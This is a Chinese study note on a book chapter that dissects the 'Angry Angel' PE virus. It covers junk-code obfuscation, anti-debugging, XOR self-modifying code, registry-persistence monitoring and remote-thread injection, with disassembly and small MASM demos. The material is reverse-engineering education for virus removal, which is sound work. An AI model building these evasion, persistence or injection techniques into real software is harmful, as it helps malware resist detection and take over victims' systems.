《Windows PE权威指南》学习之第23章 破解PE病毒(1)
兵家言“知己知彼,百战不殆”,杀毒亦是如此。要想更好地查杀PE病毒,我们有必要了解PE病毒的实现方法。在开始学习本章的内容之前,有一点要敬告大家:本章的内容是为了让大家能更好地查杀PE病毒,切勿使用该技术实施破坏或做违法的事情,否则后果自负。
本章讨论的这种PE病毒也是一个补丁程序,当它的宿主程序运行后就开始实施传播和模拟破坏行为。
目前,常见的杀毒软件对PE病毒的处理方法都很简单,大部分不能还原文件,而是直接删除,用户别无选择,只能是重新安装受感染的程序。
PE病毒比直接在内存中感染,或通过加载启动项加载的病毒还要难以清除。原因是其感染范围大,无论是系统盘还是非系统盘,无论是硬盘还是U盘,都有可能存在被感染的文件,杀之不竭,防不胜防。有些用户即使重新安装了操作系统,也常常会因为不小心点击了带病毒的PE文件而重新感染。本章主要研究PE病毒所使用的基本技术特征,以及解毒方法。
敬告 讨论这部分的主要目的是为了学习,请勿使用该技术实施破坏或做违法的事情。
23.1 病毒保护技术
PE病毒和计算机中的其他病毒一样,具备三大基本特性,即破坏性、可传播性和隐蔽性。PE病毒中使用的技术比较复杂,往往会让自动查杀工具陷入病毒设计的代码陷阱中,导致杀毒软件工作不正常或完全失效。
本节以“愤怒天使”病毒为例,从编程角度来了解一下病毒普遍使用的保护技术。
扩展阅读 愤怒天使病毒
病毒名称:Win32.Angel.xx(xx根据实际情况会有不同,记录愤怒天使病毒的版本信息)
别名:愤怒天使
威胁级别:★☆☆☆☆
病毒类型:感染型
长度:16074
影响系统: Win9x\WinMe\WinNT\Win2000\WinXP\Win2003
该病毒会感染计算机系统中的可执行文件,并且试图让受感染的计算机系统主动链接下载网络中指定服务器上的病毒、木马等恶意程序。
病毒运行后,将病毒文件ServerX.exe复制到受感染计算机系统的系统目录下,并将其属性设置成“系统隐藏”,导致计算机用户无法发现并删除。病毒还会修改受感染系统的注册表启动项,以便随系统启动而自动运行。同时,病毒会不断地监控注册表有关键值项,如发现自身添加的启动项被删除,就会立即将其恢复。
病毒会搜索系统中所有磁盘分区中的可执行文件,将其感染。受到感染的可执行文件大小会变大,占用磁盘空间会增大,并且无法正常使用。另外,在病毒感染可执行文件的这个过程中,病毒会给每个受感染的文件做标记,以避免文件被重复感染。
病毒为了能寄生到其他可执行程序中,使用了动态加载技术、静态补丁技术、重定位技术等,这些技术在前面已经接触到了。下面主要来了解病毒为了对付杀毒软件的查杀以及动态调试软件的跟踪调试等使用的一些自我保护的手段和技术。
23.1.1 花指令
花指令(Junk Code),顾名思义,即花哨的指令、没有用的指令。通过在代码中添加花指令,可以增加反汇编和逆向的难度,让破解者无法正确地反汇编程序的功能,使破解者在调试和跟踪过程中迷路。花指令的构造五花八门,主要方法可以通过一些跳转指令、栈或位运算来实现,以下以跳转指令为例来看花指令的编写方法,看下面的代码:
:00000000 60 pushad
:00000001 7803 js 00000006
:00000003 7901 jns 00000006
:00000005 EBE8 jmp FFFFFFEF
:00000007 AF scasd
:00000008 1400 adc al, 00
:0000000A 008B742420E8 add byte ptr [ebx+E8202474], cl
:00000010 1100 adc dword ptr [eax], eax
:00000012 0000 add byte ptr [eax], al
:00000014 61 popad
:00000015 7803 js 0000001A
:00000017 7901 jns 0000001A
:00000019 EB68 jmp 00000083
:0000001B 18445400 sbb byte ptr [esp+2*edx], al
:0000001F C3 ret
以上反汇编代码选自愤怒天使病毒,看其中的两句:
js 00000006 (判断运算结果是否为负数,如果是则跳转。)
判断逻辑:
如果 SF = 1(表示上一条算术或逻辑运算的结果是负数,即最高位为1)→ 发生跳转。
如果 SF = 0(表示结果是非负数,即正数或零)→ 不跳转,继续执行下一条指令。
jns 00000006 (判断运算结果是否为非负数(正数或零),如果是则跳转)
判断逻辑:
如果 SF = 0(表示上一条指令的结果是 非负数:正数或零,最高位为0)→ 发生跳转。
如果 SF = 1(结果为负数)→ 不跳转,继续执行下一条指令。
这两条指令等价于直接跳转。因为两个判断都指向同一个地址,指令起始字节码为E8。将E8前的垃圾指令EB(如上所示,已经为该指令设置了删除线)更改为90,然后重新加载再来反汇编(以下反汇编代码取自被感染了愤怒天使病毒的记事本程序的相同位置):
0100F510 60 PUSHAD
0100F511 78 03 JS SHORT notepadr.0100F516
0100F513 79 01 JNS SHORT notepadr.0100F516
0100F515 90 NOP
0100F516 E8 AF140000 CALL notepadr.010109CA
0100F51B 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20]
0100F51F E8 11000000 CALL notepadr.0100F535
0100F524 61 POPAD
可以看到,反汇编代码已经发生了重组,90 E8指令被分解,前一个解释为nop指令,后一个则和其后的一个双字组合成另外的指令。即代码中的条件判断语句转移到的地址0100F516处变成了一个call调用指令,继续看call指令后的操作数所在位置的反汇编指令字节码:
010109CA C3 RETN
010109CB 204445 20 AND BYTE PTR SS:[EBP+EAX*2+20],AL
010109CF 0300 ADD EAX,DWORD PTR DS:[EAX]
跳转到的位置仅仅是一个返回指令RETN,并没有做任何有意义的操作,所以说,call notepadr.010109CA也是一条花指令。下面用汇编源代码完整地还原该部分花指令的构造方法:
Rubbish proc
Ret
Rubbish endp
Start:
js _ret
jns _ret
db 0Ebh ;添加的无用字节码,以混淆动态调试软件的反汇编代码
_ret: call Rubbish
mov esi,dword ptr [esp+20]
定义的函数Rubbish没有做任何操作,是花指令;条件分支语句跳转到同一个位置,也是花指令;添加的无用字节码EB会被调试软件解释成指令语句,扰乱正常的调试过程。以上指令中,有用的指令只有最后一句(也就是加黑部分)。通过添加无用字节码EB,可以有效地阻碍调试器的正常调试,使程序流程转向错误的业务逻辑。
23.1.2 反跟踪技术
通过在指令中添加无用的数据,可以造成调试器的误识,从而防止反病毒人员对病毒代码进行跟踪调试。在上面的例子中,数据EB即为垃圾指令,在代码段中插入这样的数据,很容易让调试器误识。看下面的例子:
0100F51B 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20] ; kernel32.7C817077
0100F51F E8 11000000 CALL notepadr.0100F535 ;注意跳转到的位置
0100F524 61 POPAD
0100F525 78 03 JS SHORT notepadr.0100F52A
0100F527 79 01 JNS SHORT notepadr.0100F52A
0100F529 EB 68 JMP SHORT notepadr.0100F593
0100F52B ^ 79 E6 JNS SHORT notepadr.0100F513
0100F52D 0001 ADD BYTE PTR DS:[ECX],AL
0100F52F C3 RETN
0100F530 78 03 JS SHORT notepadr.0100F535
0100F532 79 01 JNS SHORT notepadr.0100F535
0100F534 EB 59 JMP SHORT notepadr.0100F58F
0100F536 E8 12100000 CALL notepadr.0101054D
地址0x0100F51F处的指令为一个调用指令CALL notepadr.0100F535,可是大家却发现调试器真正反汇编出的代码中,该地址的字节码并不是指令,而是操作数,最大的元凶就是59前的垃圾数据EB。这主要是因为大部分的调试器多采用线性扫描算法,对代码中夹杂的垃圾数据并不进行全局范围的深入分析,这样就无法正确识别代码与数据,从而造成误识。将该字节EB更改为90后,59就由操作数变成了指令。以下是再次反汇编的结果:
0100F530 78 03 JS SHORT notepadr.0100F535
0100F532 79 01 JNS SHORT notepadr.0100F535
0100F534 90 nop
0100F535 59 POP ECX ; notepadr.0100F524
0100F536 E8 12100000 CALL notepadr.0101054D
还有比这更复杂一点的例子,看以下反汇编指令:
0100F572 03FA ADD EDI,EDX
0100F574 E8 0F000000 CALL notepadr.0100F588
0100F579 47 INC EDI
0100F57A 65:74 50 JE SHORT notepadr.0100F5CD ; 多余的前缀
0100F57D 72 6F JB SHORT notepadr.0100F5EE
0100F57F 6341 64 ARPL WORD PTR DS:[ECX+64],AX
0100F582 64:72 65 JB SHORT notepadr.0100F5EA ; 多余的前缀
0100F585 73 73 JNB SHORT notepadr.0100F5FA
0100F587 005E 33 ADD DS:[ESI+33],BL
0100F58A C9 LEAVE
相应的字节码为:
0000C770 8B 3B 03 FA E8 0F 00 00 00 47 65 74 50 72 6F 63 ;.....GetProc
0000C780 41 64 64 72 65 73 73 00 5E 33 C9 B1 0F FC F3 A6 Address^3.
0000C790 75 DA 8B F2 8B 5D 24 03 DE 0F B7 0C 43 8B 5D 1C u]$...C].
可以看到,5E指令前的所谓垃圾指令00还不能被替换为其他值,因为它不仅是垃圾指令,还另有他用,它是函数名GetProcAddress的最后一个“\0”结尾字符。如果将该字节修改成90,则会影响程序运行,导致运行失败。从上面的分析可以看出,巧妙地利用一些编程技巧可以有效地减缓跟踪代码流程的进度,为逆向分析制造麻烦。假设病毒程序的设计者在病毒代码中加入对某段代码的运行时间的检测,通过判断运行时间值即可发现当前进程是否处于用户调试跟踪状态,从而采取更有效的措施结束调试或误导用户进入其他代码流程,这属于反调试的范畴。
23.1.3 反调试技术
反病毒工作的第一步是动态调试病毒程序流程,而病毒要做的则是反调试技术。病毒通过各种方法获取当前运行的进程状态,看病毒进程是否处于被调试状态,如果处在被调试状态,则执行破坏模块或者执行反调试程序。
以下是一个获取当前进程是否处于被调试状态的示例。该示例采用的主要方法是在操作系统记录的与当前线程或进程中查找与调试有关的信息。通过对本书9.1.4节的学习我们知道,操作系统中的每一个程序在运行时会维护一个主线程对应的TEB,即线程环境块,而该块中30h处指向了该线程所属的进程环境块PEB。在PEB偏移68h处有一个标志字NtGlobalFlags,这个标志字随着进程状态的不同而不同。以下是该标志字常用的值及常量符号定义:
FLG_STOP_ON_EXCEPTION 0x00000001
FLG_SHOW_LDR_SNAPS 0x00000002
FLG_DEBUG_INITIAL_COMMAND 0x00000004
FLG_STOP_ON_HUNG_GUI 0x00000008
FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
FLG_HEAP_VALIDATE_PARAMETERS 0x00000040
FLG_HEAP_VALIDATE_ALL 0x00000080
FLG_POOL_ENABLE_TAIL_CHECK 0x00000100
FLG_POOL_ENABLE_FREE_CHECK 0x00000200
FLG_POOL_ENABLE_TAGGING 0x00000400
FLG_HEAP_ENABLE_TAGGING 0x00000800
FLG_USER_STACK_TRACE_DB 0x00001000
FLG_KERNEL_STACK_TRACE_DB 0x00002000
FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000
FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000
FLG_IGNORE_DEBUG_PRIV 0x00010000
FLG_ENABLE_CSRDEBUG 0x00020000
FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000
FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000
FLG_HEAP_ENABLE_CALL_TRACING 0x00100000
FLG_HEAP_DISABLE_COALESCING 0x00200000
FLG_VALID_BITS 0x003FFFFF
FLG_ENABLE_CLOSE_EXCEPTION 0x00400000
FLG_ENABLE_EXCEPTION_LOGGING 0x00800000
FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000
FLG_HEAP_PAGE_ALLOCS 0x02000000
FLG_DEBUG_WINLOGON 0x04000000
FLG_ENABLE_DBGPRINT_BUFFERING 0x08000000
FLG_EARLY_CRITICAL_SECTION_EVT 0x10000000
FLG_DISABLE_DLL_VERIFICATION 0x80000000
进程如果被调试程序创建,那么在加载映像期间,用户模式的代码在调用LdrpInitialize函数进行初始化时,会通过PEB.BeingDebugged字段的值来判断当前进程是否处在被调试阶段,如果被调试,则系统会将NtGlobalFlag的值设置为以下内容:
If (!NT_SUCCESS(st)){
If (Peb->BeingDebugged){
Peb->NtGlobalFlag |= FLG_HEAP_ENABLE_TAIL_CHECK |
FLG_HEAP_ENABLE_FREE_CHECK |
FLG_HEAP_VALIDATE_PARAMETERS;
......
从以上所列代码可以看出,NtGlobalFlag的值被设置为当前值与三个标志相或的组合,最终NtGlobalFlag得到的结果是70h。通过该标志字就可以判断当前进程是否处在被调试状态,其实这种方法和直接通过字段Peb.BeingDebugged的值进行判断的效果是一样的。代码清单23-1的程序代码实现了上述方法。
代码清单23-1 反调试技术实例(chapter23\antidebug.asm)
;antiDebug.asm 反调试技术测试
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff antiDebug.asm
;link -subsystem:windows antiDebug.obj
.386
.model flat,stdcall
option casemap:none ;区分大小写
include C:/masm32/include/windows.inc
include C:/masm32/include/user32.inc
includelib C:/masm32/lib/user32.lib
include C:/masm32/include/kernel32.inc
includelib C:/masm32/lib/kernel32.lib
;数据段
.data
szText db "HelloWorldPE", 0
szDebugged db "我正在被调试!", 0
szNoDebugged db "没有被调试!", 0
.code
start:
assume fs:nothing
;指向 PDB(Process Database)
mov eax, fs:[30h] ;EAX为TEB.ProcessEnvironmentBlock
mov eax, [eax+68h]
and eax, 070h ;NtGlobalFlags
test eax, eax
jne @isDebugged
invoke MessageBox, NULL, addr szNoDebugged, \
NULL, MB_OK
jmp @ret
@isDebugged:
invoke MessageBox, NULL, addr szDebugged, \
NULL, MB_OK
@ret:
invoke ExitProcess, NULL
end start
以上所述只是根据系统记录信息判断进程是否被调试的一种方法,我们还可以通过诸如API函数(如函数IsDebuggerPresent)来判断进程是否处于被调试状态;还有的病毒则通过获取所有常用调试器的特征来判断当前进程是否处于被调试状态等。类似的技术也会随着人们对调试态与正常态下程序状态及相关信息存在的区别的了解的深入被越来越多地开发出来。
直接运行:

用OllyDbg调试:

手动去掉反调试测试,把jnz改成jz指令,此时字节码由75 12变成74 12

用FlexHex修改字节码试试:

直接运行测试:

用OllyDbg调试:

说明这种方法可以去除反调试是可行的。
23.1.4 自修改技术
SMC(Self-Modifying Code,代码的自修改)技术是指对要运行的代码预先进行加密,在运行时将代码在内存实施再解密还原的技术。通过这样的技术,可以实现简单的代码保护,不过这种技术加密的代码通过动态跟踪识别,很容易就能得到解密后的代码。以下是一个简单的例子:
......
mov eax,offset _encrptEnd
sub eax,offset _encrptStart
mov dwEncrptSize,eax
lea eax,_encrptStart
invoke _encrptIt,eax,dwEncrptSize
_encrptStart:
db 1eh,74h,1eh,74h,1ch,74h,44h,34h
db 74h,1eh,74h,9ch,73h,74h,74h,74h
_encrptEnd:
......
如上所示,程序运行时,会首先将_encrptStart开始的加密字节码还原。程序使用了最简单的加密算法XOR(异或算法),由于对一个数异或两次得到的还是这个数本身,所以加密和解密都可以只用一个函数。以下是该函数的详细定义:
;----------------------
; 异或加密解密算法
; 加密解密使用同一个函数
;----------------------
_encrptIt proc _lpSrc,_size
pushad
mov esi,_lpSrc
mov edi,_lpSrc
mov ecx,_size
loc1:
mov al,byte ptr [esi]
xor al,74h ;算法很简单,异或
mov byte ptr [edi],al
inc esi
inc edi
dec ecx
.if ecx!=0
jmp loc1
.endif
popad
ret
_encrptIt endp
函数_encrptIt将得到的字节与74h异或,作为加密后的字节存储,被加密的字节重新与74h异或则能得到最初的字节(即解密后的字节)。经过解密以后的字节码被还原以后变成指令代码,如下黑体部分所示:
0040108D |. FF35 0D304000 PUSH DWORD PTR DS:[40300D]
00401093 |. 50 PUSH EAX
00401094 |. E8 67FFFFFF CALL smc.00401000
00401099 |. 6A 00 PUSH 0; /Style = MB_OK|MB_APPLMODAL
0040109B |. 6A 00 PUSH 0 ; |Title = NULL
0040109D |. 68 00304000 PUSH smc.00403000; |Text = "HelloWorldPE"
004010A2 |. 6A 00 PUSH 0 ; |hOwner = NULL
004010A4 |. E8 07000000 CALL <JMP.&user32.MessageBoxA>; \MessageBoxA
......
解密完成后,程序指令指针会指向该部分数据的起始,然后运行刚解密的代码。
注意 由于加密是在内存的代码中进行,所以需要注意一点的是,在链接时要指定代码段属性为可读、可写、可运行,相关代码在随书文件chapter23\smc1.asm中。

编译运行的时候报错,用ollydbg调试也会报错,但是用VS2019调试可以正常弹出HelloWorld对话框。
核心原因:代码段的内存保护属性
解决方法,使用Windows API来更改内存保护属性。
; 调用 VirtualProtect 函数
; lpAddress: 要修改的代码起始地址
; dwSize: 代码块大小
; flNewProtect: 新权限,PAGE_EXECUTE_READWRITE 允许读、写、执行
; lpflOldProtect: 用于保存原权限的变量
invoke VirtualProtect, eax, dwEncrptSize, PAGE_EXECUTE_READWRITE, addr dwOldProtect
完整的源码如下:
;smc1.asm 代码的自修改测试
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff smc1.asm
;link -section:.text,ERW -subsystem:windows smc1.obj
.386
.model flat,stdcall
option casemap:none ;区分大小写
include C:/masm32/include/windows.inc
include C:/masm32/include/user32.inc
includelib C:/masm32/lib/user32.lib
include C:/masm32/include/kernel32.inc
includelib C:/masm32/lib/kernel32.lib
include C:/masm32/include/masm32.inc
includelib C:/masm32/lib/masm32.lib
;数据段
.data
szText db 'HelloWorldPE', 0
dwEncrptSize dd ?
dwOldProtect dd ? ; ← 添加这个变量定义
.code
;----------------------
; 加密解密使用同一个函数
;----------------------
_encrptIt proc _lpSrc, _size
pushad
mov esi, _lpSrc
mov edi, _lpSrc
mov ecx, _size
loc1:
mov al, byte ptr [esi]
xor al, 74h ;算法很简单,异或
mov byte ptr [edi], al
inc esi
inc edi
dec ecx
.if ecx!=0
jmp loc1
.endif
popad
ret
_encrptIt endp
start:
;1. 计算需要加密/修改的代码块大小
mov eax, offset _encrptEnd
sub eax, offset _encrptStart
mov dwEncrptSize, eax
;2. 修改内存保护属性,使代码段可写
lea eax, _encrptStart
invoke VirtualProtect, eax, dwEncrptSize, PAGE_EXECUTE_READWRITE, addr dwOldProtect
;3. 执行加密(自修改代码)
lea eax, _encrptStart
invoke _encrptIt, eax, dwEncrptSize
;4. 恢复原来的内存保护属性(可选但推荐)
lea eax, _encrptStart
invoke VirtualProtect, eax, dwEncrptSize, dwOldProtect, addr dwOldProtect
_encrptStart:
db 1eh,74h,1eh,74h,1ch,74h,44h,34h
db 74h,1eh,74h,9ch,73h,74h,74h,74h
_encrptEnd:
add eax,1
invoke MessageBox, NULL, addr szText, NULL, MB_OK
invoke ExitProcess, NULL
end start
编译运行:

23.1.5 注册表项保护技术
有些病毒为了获得控制权,并不感染PE文件通过宿主的运行进入内存,而是感染系统启动项,这些启动项包括(但不限于)以下所列:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEX
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy
Objects\本地User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
病毒在注册表启动项中添加了引导自身启动的定义以后,为了防止被其他用户或者杀毒软件将其删除或修改,还必须时刻监视注册表的变化,随时修正这里的值,保证此处的值始终有效。以下是愤怒天使病毒代码中,通过一个线程回调函数来执行注册表监控操作的反汇编代码:
01010763 C8 000000 ENTER 0,0
01010767 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8]
0101076A 81EC 00010000 SUB ESP,100
01010770 8BFC MOV EDI,ESP
01010772 E8 08000000 CALL notepadr.0101077F
0101077F 5E POP ESI
01010780 68 00010000 PUSH 100
01010785 E8 04000000 CALL notepadr.0101078E
0101078E 58 POP EAX
0101078F 54 PUSH ESP
01010790 57 PUSH EDI
01010791 6A 00 PUSH 0
01010793 6A 00 PUSH 0
01010795 56 PUSH ESI ;“Serverx”
01010796 53 PUSH EBX
01010797 FF10 CALL DWORD PTR DS:[EAX] ; RegQueryValueExA
以上代码通过函数RegQueryValueExA在注册表中查找Serverx键,获取键值。函数原型如下:
LSTATUS RegQueryValueExA
(
HKEY hkey,
LPCSTR name, ;指定要查询的子键名
LPDWORD reserved,
LPDWORD type, ;返回键的类型
LPBYTE data, ;返回键的名称
LPDWORD count
)
接着往下看:
010107A3 58 POP EAX
010107A4 6A 00 PUSH 0
010107A6 6A 00 PUSH 0
010107A8 6A 04 PUSH 4
010107AA 6A 00 PUSH 0
010107AC 53 PUSH EBX
010107AD FF10 CALL DWORD PTR DS:[EAX] ; RegNotifyChangeKeyValue
通过调用函数RegNotifyChangeKeyValue跟踪注册表指定位置的值是否发生变化。函数原型如下:
LONG WINAPI RegNotifyChangeKeyValue(
HKEY hKey,
BOOL bWatchSubtree, ;要监视的子键
DWORD dwNotifyFilter, ;监视过滤器
HANDLE hEvent,
BOOL fAsynchronous
);
;事件
函数中各参数解释如下:
1)hKey:要监视的键的句柄,或者指定一个标准键名。
2)bWatchSubtree:TRUE(非0)表示监视子项以及指定的项。
3)dwNotifyFilter:下述常数的一个或多个:
REG_NOTIFY_CHANGE_NAME,侦测注册表项名称的变化,以及侦测注册表的创建和删除事件。
REG_NOTIFY_CHANGE_ATTRIBUTES,侦测属性的变化。
REG_NOTIFY_CHANGE_LAST_SET,侦测上一次修改时间的变化,该例中使用了这个常数。
REG_NOTIFY_CHANGE_SECURITY,侦测对安全特性的改动。
4)hEvent:一个事件的句柄。如fAsynchronus为FALSE,则这里的设置会被忽略。
5)fAsynchronus:如果为0,那么除非侦测到一个变化,否则函数不会返回。如果为其他值,则这个函数会立即返回,而且在发生变化时触发由hEvent参数指定的一个事件。该函数的调用示例如下:
RegNotifyChangeKeyValue(hreg,
TRUE,
REG_NOTIFY_CHANGE_LAST_SET,
mWatchReg,
TRUE);
接着往下看,以下代码是重设注册表项的值:
010107AF E8 04000000 CALL notepadr.010107B8
010107B8 58 POP EAX
010107B9 68 00010000 PUSH 100
010107BE 57 PUSH EDI
010107BF 6A 01 PUSH 1
010107C1 6A 00 PUSH 0
010107C3 56 PUSH ESI
010107C4 53 PUSH EBX
010107C5 FF10 CALL DWORD PTR DS:[EAX] ; RegSetValueExA重设注册表项
010107C7 ^ EB D1 JMP SHORT notepadr.0101079A
0101079A E8 04000000 CALL notepadr.010107A3 ; 跳回到回调函数的开始,死循环
如果发现注册表项被修改,则执行RegSetValueExA函数重设病毒代码预设的值。通过构造这样的一个死循环,然后将这个循环放入一个线程回调函数中,就实现了对注册表项的监视和修复操作。
23.1.6 进程保护技术
病毒程序要想在内存中长久地运行,必须有自己的生存之道,这涉及进程的保护技术。RING3下常见的进程保护大部分都是通过注册系统服务或远程线程注入(这项技术在13.1.4节讲过),或者通过HOOK一些API函数进行自我隐藏和保护。PE病毒的运行一般都依赖于宿主程序,它寄生到宿主程序中的意图很明显:不想让我活,你也别想活!以下节选自对愤怒天使病毒的分析,其基本思路为:
步骤1 随意找一个窗口。
步骤2 找到窗口的进程ID。
步骤3 使用PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ标志打开该进程,得到该进程的HANDLE 。
步骤4 使用VirtualAllocEx在该进程上分配适当大小的内存,得到一个地址。这个地址是远程进程的,通过mov指令直接修改该地址上的值是无效的。
步骤5 如果需要传递一些参数到远程进程,可以通过函数WriteProcessMemory在该内存上写一些内容。
步骤6 使用CreateRemoteThread在远程进程中创建线程,执行非法操作。从表面上看,这意味着“让好人做坏事”。
步骤7 关闭句柄。
步骤8 调用VritualFreeEx将上面的内存释放。
以下是病毒通过远程线程注入保护自己的代码分析部分:
0100FA9E 58 POP EAX
0100FA9F 33C0 XOR EAX,EAX
0100FAA1 8986 FC000000 MOV DWORD PTR DS:[ESI+FC],EAX
0100FAA7 81EC 00010000 SUB ESP,100
0100FAAD 54 PUSH ESP
0100FAAE E8 8D060000 CALL notepadr.01010140 ;该处是一个函数,有返回
返回了病毒程序的完整路径:edi=“C:\windows\system32\Serverx.exe”
0100FAB3 E8 00000000 CALL notepadr.0100FAB8
0100FAB8 5F POP EDI
0100FAB9 8B46 44 MOV EAX,DWORD PTR DS:[ESI+44] ; Sleep
0100FABC 8987 1F0D0000 MOV DWORD PTR DS:[EDI+D1F],EAX
0100FAC2 8B86 84000000 MOV EAX,DWORD PTR DS:[ESI+84] ; GetSystemTime
0100FAC8 8987 360D0000 MOV DWORD PTR DS:[EDI+D36],EAX
0100FACE 8987 030E0000 MOV DWORD PTR DS:[EDI+E03],EAX
0100FAD4 8B86 F0000000 MOV EAX,DWORD PTR DS:[ESI+F0] ;URLDownloadToFileA
0100FADA 8987 9A0D0000 MOV DWORD PTR DS:[EDI+D9A],EAX
0100FAE0 8987 580E0000 MOV DWORD PTR DS:[EDI+E58],EAX
0100FAE6 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10] ;WinExec
0100FAE9 8987 6C0E0000 MOV DWORD PTR DS:[EDI+E6C],EAX
0100FAEF 8B46 50 MOV EAX,DWORD PTR DS:[ESI+50] ;OpenProcess
0100FAF2 8987 8F0E0000 MOV DWORD PTR DS:[EDI+E8F],EAX
0100FAF8 8B46 64 MOV EAX,DWORD PTR DS:[ESI+64] ;WaitForSingleObject
0100FAFB 8987 AB0E0000 MOV DWORD PTR DS:[EDI+EAB],EAX
0100FB01 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10]
0100FB04 8987 C60E0000 MOV DWORD PTR DS:[EDI+EC6],EAX
0100FB0A 8B46 48 MOV EAX,DWORD PTR DS:[ESI+48] ;RegisterServiceProcess
注意,上面的函数地址并未获取到,在病毒里对此情况已经有所考虑。在Windows9x/2000中,每个应用程序都可以通过函数RegisterServiceProcess向系统申请注册成为一个服务进程,同时,通过这个函数注销其服务进程来结束这个服务进程的运行。如果一个进程注册为一个服务进程,通过Ctrl+Alt+Del就可以在任务列表里看见该进程的标题;而如果一个进程运行但没有向系统申请注册成为服务进程,那么就不会在任务列表里显示。愤怒天使病毒正是利用这个原理,使自身在运行时能在任务列表中实现隐藏。该函数存放于系统内核kernel32.dll中,具体声明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId,
DWORD dwType
);
其第一个参数指定为一个服务进程的进程标识,如果是0则注册当前的进程;第二个参数指出是注册还是注销当前的进程,其状态分别为RSP_SIMPLE_SERVICE和RSP_UNREGISTER_SERVICE。遗憾的是,该函数只存在于Windows 9x系统的kernel32.dll中,在NT中并不存在该函数。
0100FB0D 0BC0 OR EAX,EAX
0100FB0F 74 6F JE SHORT notepadr.0100FB80
0100FB80 6A 00 PUSH 0
0100FB82 6A 00 PUSH 0
0100FB84 FF96 94000000 CALL DWORD PTR DS:[ESI+94] ; FindWindowA
查找窗口句柄函数FindWindowA,其原型为:
HWND WINAPI FindWindow(
__in_opt LPCTSTR lpClassName,
__in_opt LPCTSTR lpWindowName
);
两个参数分别是窗口的类名和窗口标题名。如果全部为NULL,则匹配任何一个窗口。
eax的返回值0001008C指向的位置数据为Unicode字符
“\Documents and Settings\Administrator\ApplicationData”。
接着往下看:
0100FB8A 50 PUSH EAX
0100FB8B 54 PUSH ESP
0100FB8C 50 PUSH EAX
0100FB8D FF9690000000 CALL DWORD PTR DS:[ESI+90]; GetWindowThreadProcessId
以上函数调用了GetWindowThreadProcessId,获取指定窗口所属的进程ID。原型为:
DWORD GetWindowThreadProcessId(
HWND hWnd, //窗口句柄
LPDWORD lpdwProcessId //返回进程ID
)
函数的功能:读取一个窗口的进程和线程ID,返回值是线程ID。
0100FB93 6A 00 PUSH 0
0100FB95 68 FF0F1F00 PUSH 1F0FFF
0100FB9A FF56 50 CALL DWORD PTR DS:[ESI+50] ; OpenProcess
程序通过OpenProcess以不同的权限和用途打开一个已经存在的进程对象,函数原型:
HANDLE WINAPI OpenProcess(
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId
);
其中,dwDesiredAccess设置为PROCESS_ALL_ACCESS ,即十六进制的1F0FFFh。
0100FB9D 0BC0 OR EAX,EAX
0100FB9F 74 6F JE SHORT notepadr.0100FC10 ;失败则跳转
0100FBA1 8BD8 MOV EBX,EAX
0100FBA3 6A 40 PUSH 40
0100FBA5 68 00100000 PUSH 1000
0100FBAA 68 00080000 PUSH 800
0100FBAF 6A 00 PUSH 0
0100FBB1 53 PUSH EBX
0100FBB2 FF56 68 CALL DWORD PTR DS:[ESI+68] ; VirtualAllocEx
0100FBB5 0BC0 OR EAX,EAX
0100FBB7 74 4B JE SHORT notepadr.0100FC04
程序通过调用VirtualAllocEx在目标进程的内存中获取空间。函数原型为:
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress, // 保留页面的内存地址;一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节单位;注意实际分配的内存大小是页内存大小的整数倍
DWORD flAllocationType,
DWORD flProtect
);
在目标进程获取内存空间的主要目的是,想与目标进程进行数据结构的共享。当病毒有一些数据结构需要在目标进程操作时,必须将信息存放到目标进程的地址空间中。
0100FBB9 8BE8 MOV EBP,EAX
0100FBBB 8D97 160D0000 LEA EDX,DWORD PTR DS:[EDI+D16]
0100FBC1 50 PUSH EAX
0100FBC2 54 PUSH ESP
0100FBC3 68 BE010000 PUSH 1BE
0100FBC8 90 NOP
0100FBC9 52 PUSH EDX
0100FBCA 55 PUSH EBP
0100FBCB 53 PUSH EBX
0100FBCC FF56 54 CALL DWORD PTR DS:[ESI+54]; WriteProcessMemory
通过函数WriteProcessMemory将数据写入目标进程地址空间。函数原型如下:
BOOL WINAPI WriteProcessMemory(
__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in LPCVOID lpBuffer,
__in SIZE_T nSize,
__out SIZE_T *lpNumberOfBytesWritten
);
各参数解释如下:
1)hProcess:进程句柄。
2)lpBaseAddress:指向进程内存的基地址。
3)lpBuffer:缓冲区的指针,保存写入内容。
4)nSize:写入指定进程内存的字节数。
